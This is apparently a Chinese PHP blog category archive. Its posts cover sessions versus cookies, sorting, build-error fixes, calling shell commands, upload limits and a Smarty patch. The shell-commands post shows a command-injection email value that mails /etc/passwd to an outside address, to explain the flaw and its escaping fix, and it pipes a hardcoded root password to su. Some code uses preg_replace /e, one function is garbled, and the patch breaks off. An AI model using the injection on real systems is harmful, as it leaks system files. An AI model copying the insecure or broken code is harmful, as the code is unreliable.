分类目录归档:php

php入门与提高::::::演道网php专栏提供一线php研发人员在学习工作中的经验,减少大家走的弯路,大量源码可以直接使用。

php session vs cookie

之前一直有个误解.

以为session就是cookie只是session把数据存储在了服务器.

今天想到个问题.

代码如下.session_start();
$_SESSION[‘test’] = “good”;
$_SESSION[‘session’] = “session”;
setcookie(‘test’,’cookie’);
?>

show

如果session和cookie是同一个东西.那么$_COOKIE[‘test’] 和$_SESSION[‘test’]是不是同一个东西哩.即是否后来赋的cookie会覆盖之前的good.

session_start();
print_r($_SESSION);
print_r($_COOKIE);
print_r($_REQUEST);
?>

打印出信息如下:

Array ( [test] => good ) Array ( [test] => cookie [PHPSESSID] => cd64f3403f6300eb4a3c3d98034afeef ) Array ( [test] => cookie [PHPSESSID] => cd64f3403f6300eb4a3c3d98034afeef )

从结果上可以看出来.session和cookie并不同.

用session时.只是在cookie里写了下PHPSESSID的值.

以前常听说如果客户端不支持cookie.则会在url后面自动追加一个PHPSESSID的参数.

这个PHPSESSID有什么用哩.

我看了下session文件.发现值cd64f3403f6300eb4a3c3d98034afeef 对应一个文件sess_cd64f3403f6300eb4a3c3d98034afeef

从中可以看出来.cookie中的PHPSESSID值只是为了让服务器找到对应的文件名而已.难怪说用session比cookie更安全.

另一个从打印出来的$_REQUEST也可以看出来.他指的是客户端的请求参数.包括.$_GET ,$_POST,$_COOKIE.

并不包括我以前认为的$_SESSION.

尽信书不如无书啊.很多认为理所当然的东西也真不一定就是对的.还是多试验试验比较好.

关于cookie有效期.

如果cookie的有效期是当前会话.数据是不会存储在文件中的.估计是浏览器进程维护的.如果当浏览器窗口关闭时,进程销毁,cookie也丢失.这种情况下cookie信息不共享.

如果指定了cookie的有效期是当前时间+XX秒的话.数据存储在了临时文件中.这种情况两个浏览器(同类型.不同浏览器处理cookie的机制不一样)访问的是同一个cookie文件.故能cookie信息共享.

由于Session在客户端的机制就是cookie.并且有效期是当前会话.故session信息也不共享.

以下是转载自http://num7.javaeye.com/blog/133007

2007-10-18cookie和session机制

(一)cookie和session机制

 首先我们来看个例子,笔者曾经常去的一家咖啡店有喝5杯咖啡免费赠一杯咖啡的优惠,然而一次性消费5杯咖啡的机会微乎其微,这时就需要某种方式来纪录某位顾客的消费数量。想象一下其实也无外乎下面的几种方案:
1、该店的店员很厉害,能记住每位顾客的消费数量,只要顾客一走进咖啡店,店员就知道该怎么对待了。这种做法就是协议本身支持状态。
2、发给顾客一张卡片,上面记录着消费的数量,一般还有个有效期限。每次消费时,如果顾客出示这张卡片,则此次消费就会与以前或以后的消费相联系起来。这种做法就是在客户端保持状态。
3、发给顾客一张会员卡,除了卡号之外什么信息也不纪录,每次消费时,如果顾客出示该卡片,则店员在店里的纪录本上找到这个卡号对应的纪录添加一些消费信息。这种做法就是在服务器端保持状态。

由 于HTTP协议是无状态的,而出于种种考虑也不希望使之成为有状态的,因此,后面两种方案就成为现实的选择。具体来说cookie机制采用的是在客户端保 持状态的方案,而session机制采用的是在服务器端保持状态的方案。同时我们也看到,由于采用服务器端保持状态的方案在客户端也需要保存一个标识,所 以session机制可能需要借助于cookie机制来达到保存标识的目的,但实际上它还有其他选择。

(二)理解cookie机制
cookie机制的基本原理就如上面的例子一样简单,但是还有几个问题需要解决:“会员卡”如何分发;“会员卡”的内容;以及客户如何使用“会员卡”。

正统的cookie分发是通过扩展HTTP协议来实现的,服务器通过在HTTP的响应头中加上一行特殊的指示以提示浏览器按照指示生成相应的cookie。然而纯粹的客户端脚本如JavaScript或者VBScript也可以生成cookie。

而cookie 的使用是由浏览器按照一定的原则在后台自动发送给服务器的。浏览器检查所有存储的cookie,如果某个cookie所声明的作用范围大于等于将要请求的 资源所在的位置,则把该cookie附在请求资源的HTTP请求头上发送给服务器。意思是麦当劳的会员卡只能在麦当劳的店里出示,如果某家分店还发行了自 己的会员卡,那么进这家店的时候除了要出示麦当劳的会员卡,还要出示这家店的会员卡。

cookie的内容主要包括:名字,值,过期时间,路径和域。
其中域可以指定某一个域比如.google.com,相当于总店招牌,比如宝洁公司,也可以指定一个域下的具体某台机器比如www.google.com或者froog……可以用飘柔来做比。
路径就是跟在域名后面的URL路径,比如/或者/foo等等,可以用某飘柔专柜做比。
路径与域合在一起就构成了cookie的作用范围。
如 果不设置过期时间,则表示这个cookie的生命期为浏览器会话期间,只要关闭浏览器窗口,cookie就消失了。这种生命期为浏览器会话期的 cookie被称为会话cookie。会话cookie一般不存储在硬盘上而是保存在内存里,当然这种行为并不是规范规定的。如果设置了过期时间,浏览器 就会把cookie保存到硬盘上,关闭后再次打开浏览器,这些cookie仍然有效直到超过设定的过期时间。

存储在硬盘上的 cookie可以在不同的浏览器进程间共享,比如两个IE窗口。而对于保存在内存里的cookie,不同的浏览器有不同的处理方式。对于IE,在一个打开 的窗口上按Ctrl-N(或者从文件菜单)打开的窗口可以与原窗口共享,而使用其他方式新开的IE进程则不能共享已经打开的窗口的内存cookie;对于 Mozilla Firefox0.8,所有的进程和标签页都可以共享同样的cookie。一般来说是用javascript的window.open打开的窗口会与原窗 口共享内存cookie。浏览器对于会话cookie的这种只认cookie不认人的处理方式经常给采用session机制的web应用程序开发者造成很 大的困扰。

下面就是一个goolge设置cookie的响应头的例子
HTTP/1.1 302 Found
Location: http://www.google.com/intl/zh-CN/
Set-Cookie: PREF=ID=0565f77e132de138:NW=1:TM=1098082649:LM=1098082649:S=KaeaCFPo49RiA_d8; expires=Sun, 17-Jan-2038 19:14:07 GMT; path=/; domain=.google.com
Content-Type: text/html

这是使用HTTPLook这个HTTP Sniffer软件来俘获的HTTP通讯纪录的一部分

浏览器在再次访问goolge的资源时自动向外发送cookie

使用Firefox可以很容易的观察现有的cookie的值
使用HTTPLook配合Firefox可以很容易的理解cookie的工作原理。

IE也可以设置在接受cookie前询问

这是一个询问接受cookie的对话框。

(三)理解session机制
session机制是一种服务器端的机制,服务器使用一种类似于散列表的结构(也可能就是使用散列表)来保存信息。

当 程序需要为某个客户端的请求创建一个session的时候,服务器首先检查这个客户端的请求里是否已包含了一个session标识 – 称为session id,如果已包含一个session id则说明以前已经为此客户端创建过session,服务器就按照session id把这个session检索出来使用(如果检索不到,可能会新建一个),如果客户端请求不包含session id,则为此客户端创建一个session并且生成一个与此session相关联的session id,session id的值应该是一个既不会重复,又不容易被找到规律以仿造的字符串,这个session id将被在本次响应中返回给客户端保存。

保存这 个session id的方式可以采用cookie,这样在交互过程中浏览器可以自动的按照规则把这个标识发挥给服务器。一般这个cookie的名字都是类似于 SEEESIONID,而。比如weblogic对于web应用程序生成的cookie,JSESSIONID= ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764,它的名字就是 JSESSIONID。

由于cookie可以被人为的禁止,必须有其他机制以便在cookie被禁止时仍然能够把session id传递回服务器。经常被使用的一种技术叫做URL重写,就是把session id直接附加在URL路径的后面,附加方式也有两种,一种是作为URL路径的附加信息,表现形式为 jsessionid=ByOK … 99zWpBng!-145788764
另一种是作为查询字符串附加在URL后面,表现形式为http://…../xxx?jsessionid=ByOK … 99zWpBng!-145788764
这两种方式对于用户来说是没有区别的,只是服务器在解析的时候处理的方式不同,采用第一种方式也有利于把session id的信息和正常程序参数区分开来。
为了在整个交互过程中始终保持状态,就必须在每个客户端可能请求的路径后面都包含这个session id。

另一种技术叫做表单隐藏字段。就是服务器会自动修改表单,添加一个隐藏字段,以便在表单提交时能够把session id传递回服务器。比如下面的表单


在被传递给客户端之前将被改写成



这种技术现在已较少应用,笔者接触过的很古老的iPlanet6(SunONE应用服务器的前身)就使用了这种技术。
实际上这种技术可以简单的用对action应用URL重写来代替。

在 谈论session机制的时候,常常听到这样一种误解“只要关闭浏览器,session就消失了”。其实可以想象一下会员卡的例子,除非顾客主动对店家提 出销卡,否则店家绝对不会轻易删除顾客的资料。对session来说也是一样的,除非程序通知服务器删除一个session,否则服务器会一直保留,程序 一般都是在用户做log off的时候发个指令去删除session。然而浏览器从来不会主动在关闭之前通知服务器它将要关闭,因此服务器根本不会有机会知道浏览器已经关闭,之所 以会有这种错觉,是大部分session机制都使用会话cookie来保存session id,而关闭浏览器后这个session id就消失了,再次连接服务器时也就无法找到原来的session。如果服务器设置的cookie被保存到硬盘上,或者使用某种手段改写浏览器发出的 HTTP请求头,把原来的session id发送给服务器,则再次打开浏览器仍然能够找到原来的session。

恰恰是由于关闭浏览器不会导致session被删除,迫使服务器为seesion设置了一个失效时间,当距离客户端上一次使用session的时间超过这个失效时间时,服务器就可以认为客户端已经停止了活动,才会把session删除以节省存储空间。

(四)理解javax.servlet.http.HttpSession
HttpSession是Java平台对session机制的实现规范,因为它仅仅是个接口,具体到每个web应用服务器的提供商,除了对规范支持之外,仍然会有一些规范里没有规定的细微差异。这里我们以BEA的Weblogic Server8.1作为例子来演示。

首 先,Weblogic Server提供了一系列的参数来控制它的HttpSession的实现,包括使用cookie的开关选项,使用URL重写的开关选项,session持 久化的设置,session失效时间的设置,以及针对cookie的各种设置,比如设置cookie的名字、路径、域,cookie的生存时间等。

一 般情况下,session都是存储在内存里,当服务器进程被停止或者重启的时候,内存里的session也会被清空,如果设置了session的持久化特 性,服务器就会把session保存到硬盘上,当服务器进程重新启动或这些信息将能够被再次使用,Weblogic Server支持的持久性方式包括文件、数据库、客户端cookie保存和复制。

复制严格说来不算持久化保存,因为session实际上还是保存在内存里,不过同样的信息被复制到各个cluster内的服务器进程中,这样即使某个服务器进程停止工作也仍然可以从其他进程中取得session。

cookie生存时间的设置则会影响浏览器生成的cookie是否是一个会话cookie。默认是使用会话cookie。有兴趣的可以用它来试验我们在第四节里提到的那个误解。

cookie的路径对于web应用程序来说是一个非常重要的选项,Weblogic Server对这个选项的默认处理方式使得它与其他服务器有明显的区别。后面我们会专题讨论。

关于session的设置参考[5] http://e-docs.bea.com/wls……p/weblogic_xml.html#1036869

(五)HttpSession常见问题

1、session在何时被创建
一 个常见的误解是以为session在有客户端访问时就被创建,然而事实是直到某server端程序调用 HttpServletRequest.getSession(true)这样的语句时才被创建,注意如果JSP没有显示的使用 <%@page session="false"%> 关闭session,则JSP文件在编译成Servlet时将会自动加上这样一条语句HttpSession session = HttpServletRequest.getSession(true);这也是JSP中隐含的session对象的来历。

由于session会消耗内存资源,因此,如果不打算使用session,应该在所有的JSP中关闭它。

2、session何时被删除
综合前面的讨论,session在下列情况下被删除a.程序调用HttpSession.invalidate();或b.距离上一次收到客户端发送的session id时间间隔超过了session的超时设置;或c.服务器进程被停止(非持久session)

3、如何做到在浏览器关闭时删除session
严格的讲,做不到这一点。可以做一点努力的办法是在所有的客户端页面里使用javascript代码window.oncolose来监视浏览器的关闭动作,然后向服务器发送一个请求来删除session。但是对于浏览器崩溃或者强行杀死进程这些非常规手段仍然无能为力。

4、有个HttpSessionListener是怎么回事
你 可以创建这样的listener去监控session的创建和销毁事件,使得在发生这样的事件时你可以做一些相应的工作。注意是session的创建和销 毁动作触发listener,而不是相反。类似的与HttpSession有关的listener还有 HttpSessionBindingListener,HttpSessionActivationListener和 HttpSessionAttributeListener。

5、存放在session中的对象必须是可序列化的吗
不是必需的。 要求对象可序列化只是为了session能够在集群中被复制或者能够持久保存或者在必要时server能够暂时把session交换出内存。在 Weblogic Server的session中放置一个不可序列化的对象在控制台上会收到一个警告。我所用过的某个iPlanet版本如果session中有不可序列化 的对象,在session销毁时会有一个Exception,很奇怪。

6、如何才能正确的应付客户端禁止cookie的可能性
对所有的URL使用URL重写,包括超链接,form的action,和重定向的URL,具体做法参见[6]
http://e-docs.bea.com/wls/docs70/webapp/sessions.html#100770

7、开两个浏览器窗口访问应用程序会使用同一个session还是不同的session
参见第三小节对cookie的讨论,对session来说是只认id不认人,因此不同的浏览器,不同的窗口打开方式以及不同的cookie存储方式都会对这个问题的答案有影响。

8、如何防止用户打开两个浏览器窗口操作导致的session混乱
这 个问题与防止表单多次提交是类似的,可以通过设置客户端的令牌来解决。就是在服务器每次生成一个不同的id返回给客户端,同时保存在session里,客 户端提交表单时必须把这个id也返回服务器,程序首先比较返回的id与保存在session里的值是否一致,如果不一致则说明本次操作已经被提交过了。可 以参看《J2EE核心模式》关于表示层模式的部分。需要注意的是对于使用javascript window.open打开的窗口,一般不设置这个id,或者使用单独的id,以防主窗口无法操作,建议不要再window.open打开的窗口里做修改 操作,这样就可以不用设置。

9、为什么在Weblogic Server中改变session的值后要重新调用一次session.setValue
做这个动作主要是为了在集群环境中提示Weblogic Server session中的值发生了改变,需要向其他服务器进程复制新的session值。

10、为什么session不见了
排 除session正常失效的因素之外,服务器本身的可能性应该是微乎其微的,虽然笔者在iPlanet6SP1加若干补丁的Solaris版本上倒也遇到 过;浏览器插件的可能性次之,笔者也遇到过3721插件造成的问题;理论上防火墙或者代理服务器在cookie处理上也有可能会出现问题。
出现这一问题的大部分原因都是程序的错误,最常见的就是在一个应用程序中去访问另外一个应用程序。我们在下一节讨论这个问题。

(六)、跨应用程序的session共享

常 常有这样的情况,一个大项目被分割成若干小项目开发,为了能够互不干扰,要求每个小项目作为一个单独的web应用程序开发,可是到了最后突然发现某几个小 项目之间需要共享一些信息,或者想使用session来实现SSO(single sign on),在session中保存login的用户信息,最自然的要求是应用程序间能够访问彼此的session。

然而按照Servlet 规范,session的作用范围应该仅仅限于当前应用程序下,不同的应用程序之间是不能够互相访问对方的session的。各个应用服务器从实际效果上都 遵守了这一规范,但是实现的细节却可能各有不同,因此解决跨应用程序session共享的方法也各不相同。

首先来看一下Tomcat是如 何实现web应用程序之间session的隔离的,从Tomcat设置的cookie路径来看,它对不同的应用程序设置的cookie路径是不同的,这样 不同的应用程序所用的session id是不同的,因此即使在同一个浏览器窗口里访问不同的应用程序,发送给服务器的session id也可以是不同的。

根据这个特性,我们可以推测Tomcat中session的内存结构大致如下。

笔者以前用过的 iPlanet也采用的是同样的方式,估计SunONE与iPlanet之间不会有太大的差别。对于这种方式的服务器,解决的思路很简单,实际实行起来也 不难。要么让所有的应用程序共享一个session id,要么让应用程序能够获得其他应用程序的session id。

iPlanet中有一种很简单的方法来实现共享一个session id,那就是把各个应用程序的cookie路径都设为/(实际上应该是/NASApp,对于应用程序来讲它的作用相当于根)。
/NASApp

需 要注意的是,操作共享的session应该遵循一些编程约定,比如在session attribute名字的前面加上应用程序的前缀,使得setAttribute(“name”, “neo”)变成setAttribute(“app1.name”, “neo”),以防止命名空间冲突,导致互相覆盖。

在Tomcat 中则没有这么方便的选择。在Tomcat版本3上,我们还可以有一些手段来共享session。对于版本4以上的Tomcat,目前笔者尚未发现简单的办 法。只能借助于第三方的力量,比如使用文件、数据库、JMS或者客户端cookie,URL参数或者隐藏字段等手段。

我们再看一下Weblogic Server是如何处理session的。

从 截屏画面上可以看到Weblogic Server对所有的应用程序设置的cookie的路径都是/,这是不是意味着在Weblogic Server中默认的就可以共享session了呢?然而一个小实验即可证明即使不同的应用程序使用的是同一个session,各个应用程序仍然只能访问 自己所设置的那些属性。这说明Weblogic Server中的session的内存结构可能如下

对于这样一种结构,在session 机制本身上来解决session共享的问题应该是不可能的了。除了借助于第三方的力量,比如使用文件、数据库、JMS或者客户端 cookie,URL参数或者隐藏字段等手段,还有一种较为方便的做法,就是把一个应用程序的session放到ServletContext中,这样另 外一个应用程序就可以从ServletContext中取得前一个应用程序的引用。示例代码如下,

应用程序A
context.setAttribute(“appA”, session);

应用程序B
contextA = context.getContext(“/appA”);
HttpSession sessionA = (HttpSession)contextA.getAttribute(“appA”);

值得注意的是这种用法不可移植,因为根据ServletContext的JavaDoc,应用服务器可以处于安全的原因对于context.getContext(“/appA”);返回空值,以上做法在Weblogic Server 8.1中通过。

那 么Weblogic Server为什么要把所有的应用程序的cookie路径都设为/呢?原来是为了SSO,凡是共享这个session的应用程序都可以共享认证的信息。一 个简单的实验就可以证明这一点,修改首先登录的那个应用程序的描述符weblogic.xml,把cookie路径修改为/appA访问另外一个应用程序 会重新要求登录,即使是反过来,先访问cookie路径为/的应用程序,再访问修改过路径的这个,虽然不再提示登录,但是登录的用户信息也会丢失。注意做 这个实验时认证方式应该使用FORM,因为浏览器和web服务器对basic认证方式有其他的处理方式,第二次请求的认证不是通过session来实现 的。具体请参看[7] secion 14.8 Authorization,你可以修改所附的示例程序来做这些试验。

(七)、总结
session机制本身并不复杂,然而其实现和配置上的灵活性却使得具体情况复杂多变。这也要求我们不能把仅仅某一次的经验或者某一个浏览器,服务器的经验当作普遍适用的经验,而是始终需要具体情况具体分析。

array_multisort 在函数中使用.

class test{
function test2()
{
$data[“b”] = array(‘volume’ => 67, ‘edition’ => 2,’good’=>”1″);
$data[“c”] = array(‘volume’ => 86, ‘edition’ => 1,’good’=>”2″);
$data[“d”] = array(‘volume’ => 85, ‘edition’ => 6,’good’=>”7″);
$data[“a”] = array(‘volume’ => 98, ‘edition’ => 2,’good’=>”4″);
$data[“f”] = array(‘volume’ => 86, ‘edition’ => 6,’good’=>”5″);
$data[“g”] = array(‘volume’ => 67, ‘edition’ => 7,’good’=>”8″);

$this->sortbytime($data);

}
function sortbytime(&$data)
{
   if(!$data)
   {
    return;
   }
   $t = $data;
   print_r($data);
   foreach ($t as $key => $row) {
    $sdffdas[$key] = $row[‘good’];
   }
   array_multisort($sdffdas,SORT_DESC, $data);
   print_r($data);
}
}

$t = new test();
$t->test2();

?>
php4.48并没有做到排序.

php5.x做到了排序.

估计是array_multisort的一个bug.

解决之后的代码.

class test{
function test2()
{
$data[“b”] = array(‘volume’ => 67, ‘edition’ => 2,’good’=>”1″);
$data[“c”] = array(‘volume’ => 86, ‘edition’ => 1,’good’=>”2″);
$data[“d”] = array(‘volume’ => 85, ‘edition’ => 6,’good’=>”7″);
$data[“a”] = array(‘volume’ => 98, ‘edition’ => 2,’good’=>”4″);
$data[“f”] = array(‘volume’ => 86, ‘edition’ => 6,’good’=>”5″);
$data[“g”] = array(‘volume’ => 67, ‘edition’ => 7,’good’=>”8″);

$this->sortbytime($data);

}
function sortbytime($data)
{
   if(!$data)
   {
    return;
   }
   $t = $data;
   print_r($data);
   foreach ($t as $key => $row) {
    $sdffdas[$key] = $row[‘good’];
   }
   array_multisort($sdffdas,SORT_DESC, $data);
   print_r($data);

return $data;
}
}

$t = new test();
$t->test2();

php源代码安装常见错误解决办法

php源代码安装常见错误解决办法

错误:configure: error: libevent >= 1.4.11 could not be found

解决:yum -y install libevent libevent-devel

 

错误:configure: error: Please reinstall the mysql distributio

解决:yum -y install mysql-devel

 

错误:make: *** [sapi/fpm/php-fpm] error 1

解决:用make ZEND_EXTRA_LIBS=’-liconv’编译

 

错误:configure: error: XML configuration could not be found

解决:yum -y install libxml2 libxml2-devel

 

错误:configure: error: No curses/termcap library found

解决:yum -y install ncurses ncurses-devel

 

错误:configure: error: xml2-config not found

解决:yum -y install libxml2 libxml2-devel

 

错误:configure: error: Cannot find OpenSSL’s

解决:yum install openssl openssl-devel

 

错误:configure: error: Please reinstall the libcurl distribution -easy.h should be in /include/curl/

解决:yum install curl curl-devel

 

错误:configure: error: Cannot find ldap.h

解决:yum install openldap openldap-devel

 

错误:configure: error: libjpeg.(a|so) not found

解决:yum install libjpeglibjpeg -devel

 

错误:configure: error: libpng.(a|so) not found.

解决:yum install libpnglibpng –devel

 

错误:onfigure: error: freetype.h not found.

解决:yum install freetype-devel

 

错误:configure: error: cannot find output from lex; giving up

解决:yum -y install flex

 

错误:configure: error: mod_deflate has been requested but can not be built due to prerequisite failures

解决:yum -y install zlib-devel openssl-devel

 

错误:Configure: error: Unable to locate gmp.h

解决:yum install gmp-devel

 

错误:Configure

php 执行系统命令(转载)

http://hi.baidu.com/cgeek/blog/item/fb9a1e4cd1bf1afdd62afc73.html

PHP 执行系统外部命令 system() exec() passthru()

2008-03-13 16:13 区别:
system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。

相同点:都可以获得命令执行的状态码

demo:
//system(‘dir’);
// exec (‘dir’);
// passthru (‘dir’);
// echo `dir`;

PHP作为一种服务器端的脚本语言,象编写简单,或者是复杂的动态网页这样的任务,它完全能够胜任。但事情不总是如此,有时为了实现某个功能,必须借助于操作系统的外部程序(或者称之为命令),这样可以做到事半功倍。

那么,是否可以在PHP脚本中调用外部命令呢?如果能,如何去做呢?有些什么方面的顾虑呢?相信你看了本文后,肯定能够回答这些问题了。

是否可以?

答案是肯定的。PHP和其它的程序设计语言一样,完全可以在程序内调用外部命令,并且是很简单的:只要用一个或几个函数即可。

前提条件

由于PHP基本是用于WEB程序开发的,所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制:

执行外部命令

在打开文件时有些限制

连接MySQL数据库

基于HTTP的认证

在 安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用 safe_mode_exec_dir指令,或在编译PHP是加上–with-exec-dir选项来指定,默认是 /usr/local/php/bin。

如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。

如何做?

在PHP中调用外部命令,可以用如下三种方法来实现:

1) 用PHP提供的专门函数

PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。

system()

原型:string system (string command [, int return_var])

system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。

例子:

system(“/usr/local/bin/webalizer/webalizer”);

?>

exec()

原型:string exec (string command [, string array [, int return_var]])

exec ()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array 可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二 个参数时,才可以用第三个参数,用来取得命令执行的状态码。

例子:

exec(“/bin/ls -l”);

exec(“/bin/ls -l”, $res);

exec(“/bin/ls -l”, $res, $rc);

?>

passthru()

原型:void passthru (string command [, int return_var])

passthru ()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus (Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。

例子:

header(“Content-type: image/gif”);

passthru(“./ppmtogif hunte.ppm”);

?>

2) 用popen()函数打开进程

上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。

popen ()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一 的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭 它。

例子1:

$fp=popen(“/bin/ls -l”, “r”);

?>

例子2(本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&i=51):

/* PHP中如何增加一个系统用户

下面是一段例程,增加一个名字为james的用户,

root密码是 verygood。仅供参考

*/

$sucommand = “su –login root –command”;

$useradd = “useradd “;

$rootpasswd = “verygood”;

$user = “james”;

$user_add = sprintf(“%s “%s %s””,$sucommand,$useradd,$user);

$fp = @popen($user_add,”w”);

@fputs($fp,$rootpasswd);

@pclose($fp);

?>

3) 用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)

这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:

$res=’/bin/ls -l’;

echo ‘
‘.$res.’
‘;

?>

这个脚本的输出就象:

hunte.gif

hunte.ppm

jpg.htm

jpg.jpg

passthru.php

要考虑些什么?

要考虑两个问题:安全性和超时。

先 看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地 址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这 个文件。程序就象这样:

system(“mail $to < products.txt");

echo “我们的产品目录已经发送到你的信箱:$to”;

?>

用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:

‘–bla ; mail someone@domain.com < /etc/passwd ;'

那么这条命令最终变成:

‘mail –bla ; mail someone@domain.com < /etc/passwd ; < products.txt'

我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。

幸 好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串 中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入 (<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串 就可以安全地作为命令的参数。

再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运 行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是 把命令的输出重定向到另外一个文件或流中,如:

system(“/usr/local/bin/order_proc > /tmp/null &”);

?>

如何控制PHP上传文件的大小(转载)

最近有不少提问,我在这里集中解答一下新的站长朋友遇到的问题,在这里重点说明一下。首先你需要有服务器的完全权限才可修改!!
你需要修改php.ini配置文件,该文件在系统目录下(如:C:\windows)
需要在PHP.ini里设置以下几项:
1. post_max_size =10M(根据你的需要设定,单位为M而不是KB)  

表单提交最大数据为10M.此项不是限制上传单个文件的大小,而是针对整个表单的提交数据进行限制的.
限制范围包括表单提交的所有内容.例如:发表贴子时,贴子标题,内容,附件等…

2.file_uploads = On    (On为开启php下的文件上传,Off为关闭)

是否允许上传文件,如果为OFF您将不能上传文件.

3.upload_tmp_dir = “D:/APM/PHP/uploadtemp/” (根据需要自行设定,但是不建议设定在系统所载的分区)

上传文件时系统使用的缓存目录.如果此目录所在磁盘空间不足的话您将不能上传文件.

4.upload_max_filesize =2M   (根据你的需要设定,单位为M而不是KB)

最大上传文件大小,此项针对上传文件时单个文件的大小.

upload_max_filesize与post_max_size之间的关系:
在论坛发表贴子时,您post_max_size 设为10M,而此项设成了2M,那么您只能上传最大为2M的附件,且可以同时上传5个.

最后一定不要忘记从新启动WEB服务(IIS或者APACHE)

注意:很多人遇到修改php.ini后重应WEB服务后仍然不能生效.这种情况应该先确认一下所改的php.ini是不是当前PHP所使用的.
您可以在WEB目录下建立一个php文件,内容很简单就一句话

  1. phpinfo();
  2. ?>

或者你可以直接下载[异度冰晶]PHP探针,这是一个功能很强大的php探针。

浏览器中查看此文件, Configuration File (php.ini) Path 此项对应的就是您的PHP当前正在使用的php.ini文件了.

转载自(http://www.chuanfuyin.org/html/texulanmu/2009/0225/112.html

php 算法实现(待补充)

php数组在辅助实现算法上确实功能强大。

1.快速排序

function qsort($s){
if(count($s)<2){
   return $s;
}
else{
   $key = current($s);
   return array_merge(qsort(array_filter($s,create_function(‘$a’,’return $a>’.$key.’;’))),array($key),qsort(array_filter($s,create_function(‘$a’,’return $a<'.$key.';'))));
}
}
$test = array(3,2,5,9,1);
print_r(qsort($test));

2.选择排序

function selectsort($s){
$len = count($s);
$rs = array();
while($len–>0){
   $max = max($s);
   $rs[]=$max;
   $s=array_diff($s,$rs);
}
return $rs;
}

php 小函数

/*测试函数效率

**第一个参数为函数名

*/

function test_func($FuncName,$arg1,$arg2,…$argN){

$args = func_get_args();

array_shift($args);

$begin = microtime(true);

call_user_func($FuncName,$args);

function unhtmlentities($string)
{
// replace numeric entities
$string = preg_replace(‘~&#x([0-9a-f]+);~ei’, ‘chr(hexdec(“\\1”))’, $string);
$string = preg_replace(‘~&#([0-9]+);~e’, ‘chr(\\1)’, $string);

// replace literal entities
$trans_tbl = get_html_translation_table(HTML_ENTITIES);
$trans_tbl = array_flip($trans_tbl);
return strtr($string, $trans_tbl);
}

$end = microtime(true);

echo “func:$FuncName\n args:”.var_export($args,true).”\n cost time”.($end-$begin).”s”;

}

php系统函数

debug_backtrace();

这个函数挺好使的.会打印出一个调用堆栈.以数组的形式列出来.

这样调用

print_r(debug_backtrace());

修改smarty中的truncate乱码现象

把smary/libs/plugins/modifier.truncate.php用以下内容替换即可。

/**
* Smarty plugin
* @package Smarty
* @subpackage plugins
*/

/**
* Smarty truncate modifier plugin
*
* Type:     modifier

* Name:     truncate

* Purpose: Truncate a string to a certain length if necessary,
*           optionally splitting in the middle of a word, and
*           appending the $etc string or inserting $etc into the middle.
* @link http://smarty.php.net/manual/en/language.modifier.truncate.php
*          truncate (Smarty online manual)
* @author   Monte Ohrt
* @param string
* @param integer
* @param string
* @param boolean
* @param boolean
* @return string
*/
function smarty_modifier_truncate($string, $length = 80, $etc = ‘…’,
                                  $break_words = false, $middle = false)
{
    if ($length == 0)
        return ”;

    if (mystrlen($string) > $length) {
        $length -= min($length, mystrlen($etc));
        if (!$break_words && !$middle) {
            $string = preg_replace(‘/\s+?(\S+)?$/’, ”, mysubstr($string, 0, $length+1));
        }
        if(!$middle) {
            return mysubstr($string, 0, $length) . $etc;
        } else {
            return mysubstr($string, 0, $length/2) . $etc . mysubstr($string, -$length/2);
        }
    } else {
        return $string;
    }
}

function mysubstr($str, $start, $len) {
$step=is_utf8($str)?2:1;
$tmpstr = “”;
$strlen = $start + $len;
for($i = 0; $i < $strlen; $i++) {
if(ord(substr($str, $i, 1)) > 0xa0) {
   $tmpstr .= substr($str, $i, $step+1);
   $i+=$step;
   $strlen+=$step;
